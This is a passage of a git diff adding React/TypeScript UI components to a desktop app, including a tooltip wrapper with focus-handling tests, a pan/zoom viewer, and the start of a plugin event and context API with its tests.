+    'M216,40H40A16,16,0,0,0,24,56V200a16,16,0,0,0,16,16H216a16,16,0,0,0,16-16V56A16,16,0,0,0,216,40ZM156,88a12,12,0,1,1-12,12A12,12,0,0,1,156,88Zm60,112H40V160.69l46.34-46.35a8,8,0,0,1,11.32,0h0L165,181.66a8,8,0,0,0,11.32-11.32l-17.66-17.65L173,138.34a8,8,0,0,1,11.31,0L216,170.07V200Z',
+  files:
+    'M213.66,66.34l-40-40A8,8,0,0,0,168,24H88A16,16,0,0,0,72,40V56H56A16,16,0,0,0,40,72V216a16,16,0,0,0,16,16H168a16,16,0,0,0,16-16V200h16a16,16,0,0,0,16-16V72A8,8,0,0,0,213.66,66.34ZM136,192H88a8,8,0,0,1,0-16h48a8,8,0,0,1,0,16Zm0-32H88a8,8,0,0,1,0-16h48a8,8,0,0,1,0,16Zm64,24H184V104a8,8,0,0,0-2.34-5.66l-40-40A8,8,0,0,0,136,56H88V40h76.69L200,75.31Z',
+  globe:
+    'M128,24h0A104,104,0,1,0,232,128,104.12,104.12,0,0,0,128,24Zm78.36,64H170.71a135.28,135.28,0,0,0-22.3-45.6A88.29,88.29,0,0,1,206.37,88ZM216,128a87.61,87.61,0,0,1-3.33,24H174.16a157.44,157.44,0,0,0,0-48h38.51A87.61,87.61,0,0,1,216,128ZM128,43a115.27,115.27,0,0,1,26,45H102A115.11,115.11,0,0,1,128,43ZM102,168H154a115.11,115.11,0,0,1-26,45A115.27,115.27,0,0,1,102,168Zm-3.9-16a140.84,140.84,0,0,1,0-48h59.88a140.84,140.84,0,0,1,0,48Zm50.35,61.6a135.28,135.28,0,0,0,22.3-45.6h35.66A88.29,88.29,0,0,1,148.41,213.6Z',
+  question:
+    'M128,24A104,104,0,1,0,232,128,104.11,104.11,0,0,0,128,24Zm0,168a12,12,0,1,1,12-12A12,12,0,0,1,128,192Zm8-48.72V144a8,8,0,0,1-16,0v-8a8,8,0,0,1,8-8c13.23,0,24-9,24-20s-10.77-20-24-20-24,9-24,20v4a8,8,0,0,1-16,0v-4c0-19.85,17.94-36,40-36s40,16.15,40,36C168,125.38,154.24,139.93,136,143.28Z',
+  search:
+    'M168,112a56,56,0,1,1-56-56A56,56,0,0,1,168,112Zm61.66,117.66a8,8,0,0,1-11.32,0l-50.06-50.07a88,88,0,1,1,11.32-11.31l50.06,50.06A8,8,0,0,1,229.66,229.66ZM112,184a72,72,0,1,0-72-72A72.08,72.08,0,0,0,112,184Z',
+  terminal:
+    'M216,40H40A16,16,0,0,0,24,56V200a16,16,0,0,0,16,16H216a16,16,0,0,0,16-16V56A16,16,0,0,0,216,40Zm-91,94.25-40,32a8,8,0,1,1-10-12.5L107.19,128,75,102.25a8,8,0,1,1,10-12.5l40,32a8,8,0,0,1,0,12.5ZM176,168H136a8,8,0,0,1,0-16h40a8,8,0,0,1,0,16Z',
+  tools:
+    'M232,96a72,72,0,0,1-100.94,66L79,222.22c-.12.14-.26.29-.39.42a32,32,0,0,1-45.26-45.26c.14-.13.28-.27.43-.39L94,124.94a72.07,72.07,0,0,1,83.54-98.78,8,8,0,0,1,3.93,13.19L144,80l5.66,26.35L176,112l40.65-37.52a8,8,0,0,1,13.19,3.93A72.6,72.6,0,0,1,232,96Z',
+  watch:
+    'M128,24A104,104,0,1,0,232,128,104.11,104.11,0,0,0,128,24Zm56,112H128a8,8,0,0,1-8-8V72a8,8,0,0,1,16,0v48h48a8,8,0,0,1,0,16Z'
+}
+
+export interface ToolIconProps {
+  className?: string
+  name: string
+  size?: number | string
+}
+
+/** Filled tool glyph. Falls back to the outline codicon font for any name not
+ *  covered by the solid set so new tools still render an icon. */
+export function ToolIcon({ className, name, size = '0.875rem' }: ToolIconProps) {
+  const path = TOOL_ICON_PATHS[name]
+
+  if (!path) {
+    return <Codicon className={className} name={name} size={size} />
+  }
+
+  const dimension: React.CSSProperties = { height: size, width: size }
+
+  return (
+    <svg
+      aria-hidden="true"
+      className={cn('shrink-0', className)}
+      fill="currentColor"
+      style={dimension}
+      viewBox="0 0 256 256"
+    >
+      <path d={path} />
+    </svg>
+  )
+}
diff --git a/ui-desktop/src/components/ui/tooltip.test.tsx b/ui-desktop/src/components/ui/tooltip.test.tsx
new file mode 100644
index 000000000..549b804d2
--- /dev/null
+++ b/ui-desktop/src/components/ui/tooltip.test.tsx
@@ -0,0 +1,82 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import { suppressNonKeyboardFocusOpen } from './tooltip'
+
+// Radix opens tooltips on ANY trigger focus; menus/dialogs restore focus to
+// their trigger on close, which left tips stuck open after a mouse pick (e.g.
+// the composer model pill). The trigger's focus handler must preventDefault —
+// which Radix's composed handler honors — for non-keyboard focus only.
+//
+// The regression these guard: `:focus-visible` on its own says "true" for a
+// mouse pick out of a Radix menu, because the menu's autofocus/arrow-key
+// navigation puts Chromium in keyboard modality before focus returns to the
+// trigger. Only the last real input device separates the two cases.
+
+const focusEvent = (matchesImpl: (selector: string) => boolean) => {
+  const preventDefault = vi.fn()
+
+  return {
+    event: {
+      currentTarget: { matches: matchesImpl } as unknown as HTMLElement,
+      preventDefault
+    } as unknown as React.FocusEvent<HTMLElement>,
+    preventDefault
+  }
+}
+
+const focusVisible = (selector: string) => selector === ':focus-visible'
+const notFocusVisible = (selector: string) => selector !== ':focus-visible'
+
+describe('suppressNonKeyboardFocusOpen', () => {
+  it('suppresses the focus-open when a mouse pick restores focus to the trigger', () => {
+    // The menu leaves Chromium in keyboard modality, so :focus-visible matches
+    // even though the user clicked — this is the model-pill bug.
+    const { event, preventDefault } = focusEvent(focusVisible)
+
+    suppressNonKeyboardFocusOpen(event, 'pointer')
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+  })
+
+  it('suppresses the focus-open when focus is not keyboard-visible', () => {
+    const { event, preventDefault } = focusEvent(notFocusVisible)
+
+    suppressNonKeyboardFocusOpen(event, 'pointer')
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+  })
+
+  it('keeps the focus-open for keyboard (Tab) focus — a11y path', () => {
+    const { event, preventDefault } = focusEvent(focusVisible)
+
+    suppressNonKeyboardFocusOpen(event, 'keyboard')
+
+    expect(preventDefault).not.toHaveBeenCalled()
+  })
+
+  it('still suppresses a programmatic focus that is not focus-visible in keyboard modality', () => {
+    const { event, preventDefault } = focusEvent(notFocusVisible)
+
+    suppressNonKeyboardFocusOpen(event, 'keyboard')
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+  })
+
+  it('falls back to the modality when :focus-visible is unsupported', () => {
+    const unsupported = () => {
+      throw new Error('unsupported selector')
+    }
+
+    const keyboard = focusEvent(unsupported)
+
+    suppressNonKeyboardFocusOpen(keyboard.event, 'keyboard')
+
+    expect(keyboard.preventDefault).not.toHaveBeenCalled()
+
+    const pointer = focusEvent(unsupported)
+
+    suppressNonKeyboardFocusOpen(pointer.event, 'pointer')
+
+    expect(pointer.preventDefault).toHaveBeenCalledOnce()
+  })
+})
diff --git a/ui-desktop/src/components/ui/tooltip.tsx b/ui-desktop/src/components/ui/tooltip.tsx
new file mode 100644
index 000000000..9ac1e9d1f
--- /dev/null
+++ b/ui-desktop/src/components/ui/tooltip.tsx
@@ -0,0 +1,234 @@
+import { Tooltip as TooltipPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { useI18n } from '@/i18n'
+import { type InputModality, lastInputModality } from '@/lib/input-modality'
+import { useKeybindHint } from '@/lib/keybinds/use-keybind-hint'
+import { cn } from '@/lib/utils'
+
+/** Default hover-open delay for `Tip`. Non-zero so a cursor sweeping across the
+ *  chrome doesn't flash a trail of tips — they only appear on a deliberate,
+ *  settled hover. Call sites that need an instant tip pass `delayDuration={0}`. */
+const TIP_DELAY_MS = 200
+
+/** True inside `RootTooltipProvider`. `Tip` uses this to decide whether it
+ *  needs to supply its own provider — see the note on `Tip`. */
+const HasTooltipProvider = React.createContext(false)
+
+function TooltipProvider({
+  delayDuration = 0,
+  // Radix's "skip" grace: after one tip opens, every trigger touched within
+  // this window opens INSTANTLY, delay bypassed. Its 300ms default meant a
+  // cursor sweeping the chrome still flashed a trail of tips despite the
+  // hover delay. Zero it so each tip independently honors `delayDuration`.
+  skipDelayDuration = 0,
+  // Tips are labels, not interactive surfaces. Hoverable content + Radix's
+  // pointer-grace bridge is what leaves tips stuck open — especially over
+  // Electron `-webkit-app-region: drag` chrome where pointermove never fires
+  // to clear the grace area. Default off so open state tracks the trigger only.
+  disableHoverableContent = true,
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Provider>) {
+  return (
+    <TooltipPrimitive.Provider
+      data-slot="tooltip-provider"
+      delayDuration={delayDuration}
+      disableHoverableContent={disableHoverableContent}
+      skipDelayDuration={skipDelayDuration}
+      {...props}
+    />
+  )
+}
+
+function Tooltip({ ...props }: React.ComponentProps<typeof TooltipPrimitive.Root>) {
+  return <TooltipPrimitive.Root data-slot="tooltip" {...props} />
+}
+
+// Radix opens a tooltip on ANY trigger focus (its pointer-down guard only
+// covers clicks on the trigger itself). Menus and dialogs return focus to
+// their trigger when they close, so "open the model menu, pick a model" left
+// the trigger's tip stuck open over the fresh selection. Gate focus-opens to
+// KEYBOARD focus so a mouse pick's focus restore is suppressed while Tab-focus
+// still shows the tip for a11y. preventDefault doesn't cancel the focus itself
+// — Radix's composed handler just skips its onOpen when defaultPrevented.
+//
+// `:focus-visible` ALONE is not that gate. Radix menus autofocus their content
+// and keyboard-navigate their items, so Chromium is in keyboard modality by the
+// time a mouse pick restores focus and matches `:focus-visible` — the model
+// pill's tip reopened over every selection. Qualify it with the device behind
+// the last real interaction, which a mouse pick reports as `pointer`.
+export function suppressNonKeyboardFocusOpen(
+  event: React.FocusEvent<HTMLElement>,
+  modality: InputModality = lastInputModality()
+): void {
+  let keyboardFocus = modality === 'keyboard'
+
+  try {
+    keyboardFocus &&= event.currentTarget.matches(':focus-visible')
+  } catch {
+    // Selector unsupported (older jsdom) — fall back to the modality alone.
+  }
+
+  if (!keyboardFocus) {
+    event.preventDefault()
+  }
+}
+
+function TooltipTrigger({ onFocus, ...props }: React.ComponentProps<typeof TooltipPrimitive.Trigger>) {
+  return (
+    <TooltipPrimitive.Trigger
+      data-slot="tooltip-trigger"
+      onFocus={event => {
+        onFocus?.(event)
+        suppressNonKeyboardFocusOpen(event)
+      }}
+      {...props}
+    />
+  )
+}
+
+function TooltipContent({
+  className,
+  sideOffset = 6,
+  children,
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Content>) {
+  return (
+    <TooltipPrimitive.Portal>
+      <TooltipPrimitive.Content
+        // Transparent, width-capped wrapper. The visible chip is the inner inline
+        // span so `box-decoration-break: clone` gives a marker-style background
+        // that hugs EACH wrapped line (bg only on the text, ragged right — no
+        // rectangular dead space). No fade transition — once the hover delay
+        // elapses the chip appears at once.
+        // pointer-events-none: the tip must never steal hover/clicks from the
+        // chrome underneath (titlebar tools, adjacent tabs, etc.).
+        className={cn('pointer-events-none z-(--z-over-modal) w-fit max-w-64 select-none', className)}
+        data-slot="tooltip-content"
+        sideOffset={sideOffset}
+        {...props}
+      >
+        {/* bg-foreground/text-background auto-inverts per theme. leading-normal
+            keeps lines readable; py-1 makes the cloned line-boxes overlap just
+            enough to read as one continuous fill (no gaps between lines). */}
+        {/* [&>*]:!inline-flex: a block-level label child (e.g. `flex`) collapses
+            this inline decoration's geometry, so Radix measures a zero-size chip
+            and parks an empty rectangle in the corner (#62022). Force any direct
+            child inline-flex so every call site stays safe. */}
+        <span className="box-decoration-clone inline bg-foreground px-1.5 py-1 text-[11px] font-bold leading-normal text-background [font-family:Arial,sans-serif] [&>*]:!inline-flex">
+          {children}
+        </span>
+      </TooltipPrimitive.Content>
+    </TooltipPrimitive.Portal>
+  )
+}
+
+interface TipProps extends Omit<React.ComponentProps<typeof TooltipPrimitive.Content>, 'content'> {
+  label: React.ReactNode
+  children: React.ReactNode
+  delayDuration?: number
+}
+
+// Drop-in replacement for native `title=`: wrap any single element. Instant,
+// position-aware, themed. Renders the child untouched when label is falsy.
+// Open state is trigger-hover only — never sticky, never click-blocking.
+//
+// NO per-instance `TooltipProvider`. There are ~107 `Tip` call sites, and each
+// private provider is another subtree that re-renders whenever anything above
+// it does. Measured on a sash drag with five mounted tiles: 52,784
+// TooltipProvider renders and 18.3s of component time in a single gesture.
+//
+// Radix's provider holds only refs and stable callbacks (no reactive state), so
+// hoisting one to the app root is exactly what it is designed for — see
+// `RootTooltipProvider`, mounted in main.tsx. `Tooltip` still reads
+// `delayDuration`/`disableHoverableContent` from context, and the per-Tip
+// overrides below keep the previous behavior for anything that passed them.
+//
+// Deliberately NOT lazy-mounted: deferring the Radix subtree until hover was
+// tried and reverted. `asChild` puts `data-slot="tooltip-trigger"` on the
+// child element itself, so arming REPLACES that node — which broke 18 tests
+// encoding that contract, and risks focus/ref identity at every call site.
+function Tip({ label, children, delayDuration = TIP_DELAY_MS, ...props }: TipProps) {
+  // A component rendered in isolation (every unit test, and any surface
+  // mounted outside the app root) has no provider above it, and Radix throws
+  // "`Tooltip` must be used within `TooltipProvider`". Fall back to a local
+  // one there. Inside the app this is always false, so the common path is a
+  // bare Tooltip and the ~107 providers collapse to one.
+  const provided = React.useContext(HasTooltipProvider)
+
+  if (!label) {
+    return <>{children}</>
+  }
+
+  const tip = (
+    <Tooltip delayDuration={delayDuration} disableHoverableContent>
+      <TooltipTrigger asChild>{children}</TooltipTrigger>
+      <TooltipContent {...props}>{label}</TooltipContent>
+    </Tooltip>
+  )
+
+  return provided ? tip : <TooltipProvider delayDuration={delayDuration}>{tip}</TooltipProvider>
+}
+
+/** The app's single tooltip provider. Mounted once at the root so no `Tip`
+ *  needs its own. Defaults match what `Tip` used to pass per instance. */
+function RootTooltipProvider({ children }: { children: React.ReactNode }) {
+  return (
+    <HasTooltipProvider value>
+      <TooltipProvider delayDuration={0} disableHoverableContent>
+        {children}
+      </TooltipProvider>
+    </HasTooltipProvider>
+  )
+}
+
+interface TipHintLabelProps {
+  text: string
+  hint?: string
+}
+
+/** Tooltip label with an optional trailing hotkey hint. Uses `inline-flex` so it
+ *  stays safe inside Tip's decoration wrapper — prefer this over a bespoke
+ *  flex/gap span at the call site (see #62022). */
+function TipHintLabel({ text, hint }: TipHintLabelProps) {
+  if (!hint) {
+    return <>{text}</>
+  }
+
+  return (
+    <span className="inline-flex items-center gap-2">
+      <span>{text}</span>
+      <span className="opacity-55">{hint}</span>
+    </span>
+  )
+}
+
+interface TipKeybindLabelProps {
+  /** Keybind action id — pulls the label from i18n AND the combo from the store. */
+  actionId: string
+  /** Override the i18n label (for context-dependent text like "Show"/"Hide"). */
+  text?: string
+}
+
+/** TipHintLabel that auto-reads both its label and keybind from the action
+ *  registry. Pass only `actionId` for the common case; pass `text` to override
+ *  when the button's tooltip is context-dependent. */
+function TipKeybindLabel({ actionId, text }: TipKeybindLabelProps) {
+  const { t } = useI18n()
+  const hint = useKeybindHint(actionId)
+
+  const label = text ?? t.keybinds.actions[actionId] ?? actionId
+
+  return <TipHintLabel hint={hint ?? undefined} text={label} />
+}
+
+export {
+  RootTooltipProvider,
+  Tip,
+  TipHintLabel,
+  TipKeybindLabel,
+  Tooltip,
+  TooltipContent,
+  TooltipProvider,
+  TooltipTrigger
+}
diff --git a/ui-desktop/src/components/ui/use-zoom-pan.ts b/ui-desktop/src/components/ui/use-zoom-pan.ts
new file mode 100644
index 000000000..db95c5bc7
--- /dev/null
+++ b/ui-desktop/src/components/ui/use-zoom-pan.ts
@@ -0,0 +1,107 @@
+import {
+  type CSSProperties,
+  type PointerEvent as ReactPointerEvent,
+  type WheelEvent as ReactWheelEvent,
+  useCallback,
+  useRef,
+  useState
+} from 'react'
+
+import { isSmartZoomWheel } from '@/lib/trackpad-gestures'
+
+interface Transform {
+  scale: number
+  x: number
+  y: number
+}
+
+const MIN_SCALE = 0.25
+const MAX_SCALE = 8
+const WHEEL_STEP = 1.1
+const BUTTON_STEP = 1.25
+
+const clamp = (scale: number) => Math.min(MAX_SCALE, Math.max(MIN_SCALE, scale))
+
+/**
+ * Headless pan/zoom transform. Wheel zooms toward the cursor, drag pans, buttons
+ * zoom toward centre. Returns the transform style plus the surface handlers, so
+ * any content (SVG, image, canvas) can be made pan/zoomable.
+ */
+export function useZoomPan() {
+  const [transform, setTransform] = useState<Transform>({ scale: 1, x: 0, y: 0 })
+  const drag = useRef<{ x: number; y: number } | null>(null)
+  const [panning, setPanning] = useState(false)
+
+  // Zoom toward (cx, cy), measured from the surface centre, keeping that point fixed.
+  const zoomAt = useCallback((factor: number, cx = 0, cy = 0) => {
+    setTransform(prev => {
+      const scale = clamp(prev.scale * factor)
+      const k = scale / prev.scale
+
+      return { scale, x: cx - k * (cx - prev.x), y: cy - k * (cy - prev.y) }
+    })
+  }, [])
+
+  const onWheel = useCallback(
+    (event: ReactWheelEvent) => {
+      event.preventDefault()
+
+      // macOS smart zoom (two-finger double-tap) → reset, not zoom-in.
+      if (isSmartZoomWheel(event)) {
+        setTransform({ scale: 1, x: 0, y: 0 })
+
+        return
+      }
+
+      const rect = event.currentTarget.getBoundingClientRect()
+      const cx = event.clientX - rect.left - rect.width / 2
+      const cy = event.clientY - rect.top - rect.height / 2
+
+      zoomAt(event.deltaY < 0 ? WHEEL_STEP : 1 / WHEEL_STEP, cx, cy)
+    },
+    [zoomAt]
+  )
+
+  const onPointerDown = useCallback((event: ReactPointerEvent) => {
+    event.currentTarget.setPointerCapture(event.pointerId)
+    setTransform(prev => {
+      drag.current = { x: event.clientX - prev.x, y: event.clientY - prev.y }
+
+      return prev
+    })
+    setPanning(true)
+  }, [])
+
+  const onPointerMove = useCallback((event: ReactPointerEvent) => {
+    if (!drag.current) {
+      return
+    }
+
+    const start = drag.current
+
+    setTransform(prev => ({ ...prev, x: event.clientX - start.x, y: event.clientY - start.y }))
+  }, [])
+
+  const endPan = useCallback(() => {
+    drag.current = null
+    setPanning(false)
+  }, [])
+
+  const reset = useCallback(() => setTransform({ scale: 1, x: 0, y: 0 }), [])
+  const zoomIn = useCallback(() => zoomAt(BUTTON_STEP), [zoomAt])
+  const zoomOut = useCallback(() => zoomAt(1 / BUTTON_STEP), [zoomAt])
+
+  const style: CSSProperties = {
+    transform: `translate(${transform.x}px, ${transform.y}px) scale(${transform.scale})`
+  }
+
+  return {
+    panning,
+    reset,
+    scale: transform.scale,
+    stageProps: { onPointerDown, onPointerLeave: endPan, onPointerMove, onPointerUp: endPan, onWheel },
+    style,
+    zoomIn,
+    zoomOut
+  }
+}
diff --git a/ui-desktop/src/components/ui/zoomable.tsx b/ui-desktop/src/components/ui/zoomable.tsx
new file mode 100644
index 000000000..63801b9c5
--- /dev/null
+++ b/ui-desktop/src/components/ui/zoomable.tsx
@@ -0,0 +1,175 @@
+'use client'
+
+import { type ReactNode, useEffect, useState } from 'react'
+
+import { Dialog, DialogContent } from '@/components/ui/dialog'
+import { Tip } from '@/components/ui/tooltip'
+import { Check, Copy, Maximize, RefreshCw, X, ZoomIn, ZoomOut } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+import { useZoomPan } from './use-zoom-pan'
+
+interface ZoomableProps {
+  /** Inline content; also the default full-view content. */
+  children: ReactNode
+  /** Full-view content, if it should differ from the inline version. */
+  overlay?: ReactNode
+  /** Copy/export action shown in the viewer toolbar. */
+  onCopy?: () => Promise<void> | void
+  /** Accessible label for the expand affordance. */
+  label?: string
+  className?: string
+}
+
+/**
+ * Generic click-to-expand viewer: renders inline content with a hover "expand"
+ * affordance, then opens a full overlay where the content can be panned/zoomed
+ * (see useZoomPan) and optionally copied. Content-agnostic — wrap a diagram,
+ * image, or any node.
+ */
+export function Zoomable({ children, overlay, onCopy, label = 'Open full view', className }: ZoomableProps) {
+  const [open, setOpen] = useState(false)
+
+  return (
+    <>
+      <div className={cn('group/zoomable relative', className)}>
+        {/* The whole content is the trigger — click anywhere to open, like an image. */}
+        <button
+          className="block w-full cursor-zoom-in text-left"
+          onClick={() => setOpen(true)}
+          title={label}
+          type="button"
+        >
+          {children}
+        </button>
+        <span
+          aria-hidden
+          className="pointer-events-none absolute right-2 top-2 grid size-8 place-items-center rounded-full border border-border/70 bg-background/80 text-muted-foreground opacity-0 shadow-sm backdrop-blur transition-opacity group-hover/zoomable:opacity-100"
+        >
+          <Maximize className="size-4" />
+        </span>
+      </div>
+      {open && (
+        <ZoomPanViewer onCopy={onCopy} onOpenChange={setOpen} open={open}>
+          {overlay ?? children}
+        </ZoomPanViewer>
+      )}
+    </>
+  )
+}
+
+function ZoomPanViewer({
+  children,
+  onCopy,
+  onOpenChange,
+  open
+}: {
+  children: ReactNode
+  onCopy?: () => Promise<void> | void
+  onOpenChange: (open: boolean) => void
+  open: boolean
+}) {
+  const { panning, reset, stageProps, style, zoomIn, zoomOut } = useZoomPan()
+
+  useEffect(() => {
+    if (open) {
+      reset()
+    }
+  }, [open, reset])
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open={open}>
+      <DialogContent
+        bodyClassName="flex min-h-0 flex-col gap-0 overflow-hidden p-0"
+        className="h-[85vh] w-[90vw] max-w-[90vw]"
+        showCloseButton={false}
+      >
+        <div
+          className={cn(
+            'relative flex-1 touch-none select-none overflow-hidden',
+            panning ? 'cursor-grabbing' : 'cursor-grab'
+          )}
+          {...stageProps}
+        >
+          <div className="absolute inset-0 grid place-items-center">
+            <div className="origin-center" style={style}>
+              {children}
+            </div>
+          </div>
+        </div>
+        <Toolbar onClose={() => onOpenChange(false)} onCopy={onCopy} reset={reset} zoomIn={zoomIn} zoomOut={zoomOut} />
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+function Toolbar({
+  onClose,
+  onCopy,
+  reset,
+  zoomIn,
+  zoomOut
+}: {
+  onClose: () => void
+  onCopy?: () => Promise<void> | void
+  reset: () => void
+  zoomIn: () => void
+  zoomOut: () => void
+}) {
+  const [copied, setCopied] = useState(false)
+
+  const copy = async () => {
+    if (!onCopy) {
+      return
+    }
+
+    await onCopy()
+    setCopied(true)
+    window.setTimeout(() => setCopied(false), 1500)
+  }
+
+  return (
+    <div className="absolute bottom-3 left-1/2 flex -translate-x-1/2 items-center gap-1 rounded-full border border-border/70 bg-background/85 p-1 shadow-sm backdrop-blur">
+      <ToolbarButton label="Zoom out" onClick={zoomOut}>
+        <ZoomOut className="size-4" />
+      </ToolbarButton>
+      <ToolbarButton label="Reset" onClick={reset}>
+        <RefreshCw className="size-4" />
+      </ToolbarButton>
+      <ToolbarButton label="Zoom in" onClick={zoomIn}>
+        <ZoomIn className="size-4" />
+      </ToolbarButton>
+      {onCopy && (
+        <>
+          <Divider />
+          <ToolbarButton label={copied ? 'Copied' : 'Copy'} onClick={() => void copy()}>
+            {copied ? <Check className="size-4" /> : <Copy className="size-4" />}
+          </ToolbarButton>
+        </>
+      )}
+      <Divider />
+      <ToolbarButton label="Close" onClick={onClose}>
+        <X className="size-4" />
+      </ToolbarButton>
+    </div>
+  )
+}
+
+function Divider() {
+  return <span className="mx-0.5 h-5 w-px bg-border" />
+}
+
+function ToolbarButton({ children, label, onClick }: { children: ReactNode; label: string; onClick: () => void }) {
+  return (
+    <Tip label={label}>
+      <button
+        aria-label={label}
+        className="grid size-8 place-items-center rounded-full text-muted-foreground transition-colors hover:bg-accent hover:text-foreground"
+        onClick={onClick}
+        type="button"
+      >
+        {children}
+      </button>
+    </Tip>
+  )
+}
diff --git a/ui-desktop/src/contrib/events.ts b/ui-desktop/src/contrib/events.ts
new file mode 100644
index 000000000..2e917c9ae
--- /dev/null
+++ b/ui-desktop/src/contrib/events.ts
@@ -0,0 +1,45 @@
+/**
+ * The plugin-facing gateway event tap. The wiring fans every inbound gateway
+ * event through here BEFORE its own dispatch; plugins subscribe by type (or
+ * `'*'`) via `host.onEvent`. Listeners are isolated — a throwing plugin can
+ * never break the app's event handling — and emit is zero-cost when nobody
+ * listens.
+ */
+
+import type { RpcEvent } from '@/types/clawcodex'
+
+export type GatewayEventListener = (event: RpcEvent) => void
+
+const listeners = new Map<string, Set<GatewayEventListener>>()
+
+/** Subscribe to gateway events by `type` (`'*'` = everything). Returns a disposer. */
+export function onGatewayEvent(type: string, listener: GatewayEventListener): () => void {
+  const set = listeners.get(type) ?? new Set()
+  set.add(listener)
+  listeners.set(type, set)
+
+  return () => {
+    set.delete(listener)
+
+    if (set.size === 0) {
+      listeners.delete(type)
+    }
+  }
+}
+
+/** Fan an event to subscribers (wiring-side; call before app dispatch). */
+export function emitGatewayEvent(event: RpcEvent): void {
+  if (listeners.size === 0) {
+    return
+  }
+
+  for (const type of [event.type, '*']) {
+    for (const listener of listeners.get(type) ?? []) {
+      try {
+        listener(event)
+      } catch (error) {
+        console.error('[plugins] gateway event listener failed', error)
+      }
+    }
+  }
+}
diff --git a/ui-desktop/src/contrib/index.ts b/ui-desktop/src/contrib/index.ts
new file mode 100644
index 000000000..a5faa2f23
--- /dev/null
+++ b/ui-desktop/src/contrib/index.ts
@@ -0,0 +1,6 @@
+export { Slot } from './react/slot'
+export type { SlotProps } from './react/slot'
+
+export { useContributions } from './react/use-contributions'
+export { registry } from './registry'
+export type { Contribution, ContributionSource } from './types'
diff --git a/ui-desktop/src/contrib/plugin.test.ts b/ui-desktop/src/contrib/plugin.test.ts
new file mode 100644
index 000000000..3f79c69d3
--- /dev/null
+++ b/ui-desktop/src/contrib/plugin.test.ts
@@ -0,0 +1,62 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import { dispatchPluginNativeNotification } from '@/store/native-notifications'
+
+import { createPluginContext } from './plugin'
+
+vi.mock('@/store/native-notifications', () => ({ dispatchPluginNativeNotification: vi.fn() }))
+
+describe('createPluginContext.onDispose', () => {
+  it('collects arbitrary cleanups so the host runs them on deactivate', () => {
+    const disposers: Array<() => void> = []
+    const ctx = createPluginContext('demo', dispose => disposers.push(dispose))
+
+    let cleaned = false
+    ctx.onDispose(() => {
+      cleaned = true
+    })
+
+    // The cleanup is tracked alongside contribution/socket disposers, so the
+    // loader's deactivate (which runs every collected disposer) tears it down.
+    expect(disposers).toHaveLength(1)
+    disposers.forEach(dispose => dispose())
+    expect(cleaned).toBe(true)
+  })
+})
+
+describe('createPluginContext.os', () => {
+  it('dispatches a native notification attributed to the plugin', () => {
+    const ctx = createPluginContext('demo')
+    ctx.os.notify({ body: 'b', title: 't' })
+    expect(dispatchPluginNativeNotification).toHaveBeenCalledWith('demo', { body: 'b', title: 't' })
+  })
+
+  it('resolves false (never throws) when the desktop bridge is missing', async () => {
+    const ctx = createPluginContext('demo')
+
+    // jsdom has no window.clawcodexDesktop — the exact older-shell/browser case.
+    await expect(ctx.os.openExternal('https://example.com')).resolves.toBe(false)
+    await expect(ctx.os.revealPath('/tmp')).resolves.toBe(false)
+    await expect(ctx.os.writeClipboard('hi')).resolves.toBe(false)
+  })
+
+  it('routes through the bridge and turns a bridge throw into false', async () => {
+    const bridge = {
+      openExternal: vi.fn().mockResolvedValue(undefined),
+      revealPath: vi.fn().mockResolvedValue(true),
+      writeClipboard: vi.fn().mockRejectedValue(new Error('nope'))
+    }
+
+    ;(window as unknown as { clawcodexDesktop: unknown }).clawcodexDesktop = bridge
+
+    try {
+      const ctx = createPluginContext('demo')
+      await expect(ctx.os.openExternal('https://example.com')).resolves.toBe(true)
+      expect(bridge.openExternal).toHaveBeenCalledWith('https://example.com')
+      await expect(ctx.os.revealPath('/tmp')).resolves.toBe(true)
+      await expect(ctx.os.writeClipboard('hi')).resolves.toBe(false)
+    } finally {
+      delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+    }
+  })
+})
diff --git a/ui-desktop/src/contrib/plugin.ts b/ui-desktop/src/contrib/plugin.ts
new file mode 100644
index 000000000..c17e14bc3
--- /dev/null
+++ b/ui-desktop/src/contrib/plugin.ts
@@ -0,0 +1,180 @@
+/**
+ * The plugin authoring contract. A plugin is a file that default-exports a
+ * `ClawCodexPlugin`; it never touches the registry directly — it receives a
+ * scoped `PluginContext` whose `register` auto-tags provenance
+ * (`source: 'plugin:<id>'`) and namespaces the contribution id
+ * (`<id>:<localId>`), so authors write plain contributions and collisions
+ * between plugins are impossible.
+ *
+ * Bundled plugins live in `src/plugins/<name>/plugin.tsx` and are discovered
+ * by `discoverBundledPlugins()` (contrib/plugins.ts) — no import, no registry
+ * edit. Runtime-fetched third-party plugins will drive the SAME contract
+ * through the plugin host loader (next phase); this is that seam.
+ */
+
+import { pluginRest, type PluginRestOptions, pluginSocket } from '@/clawcodex'
+import { createPluginI18n, type PluginI18n } from '@/i18n'
+import { readKey, writeKey } from '@/lib/storage'
+import { dispatchPluginNativeNotification, type PluginNativeNotificationInput } from '@/store/native-notifications'
+
+import { registry } from './registry'
+import type { Contribution } from './types'
+
+export type { PluginRestOptions } from '@/clawcodex'
+export type { PluginNativeNotificationInput } from '@/store/native-notifications'
+
+/** A contribution as a plugin author writes it — provenance + id scoping are
+ *  the host's job, so those fields are off-limits here. */
+export type PluginContribution = Omit<Contribution, 'source' | 'id'> & { id: string }
+
+/** Namespaced JSON persistence (the VS Code `globalState` analog). Keys live
+ *  under `clawcodex.plugin.<id>.` — plugins can't read or clobber each other. */
+export interface PluginStorage {
+  get<T>(key: string, fallback: T): T
+  set(key: string, value: unknown): void
+  remove(key: string): void
+}
+
+/** The curated OS door — every way a plugin reaches outside the app window,
+ *  in one attributed namespace instead of the raw `window.clawcodexDesktop`
+ *  bridge. Every member resolves a result instead of throwing when the
+ *  capability can't apply (no Electron shell, older desktop build), so
+ *  callers branch on the return value rather than sniffing the bridge. */
+export interface PluginOs {
+  /** Native OS notification (Electron), attributed to this plugin. Gated by
+   *  Settings ▸ Notifications ▸ "Plugin notifications" and fires only while
+   *  the user is away from ClawCodex — use `host.notify` for the in-app toast.
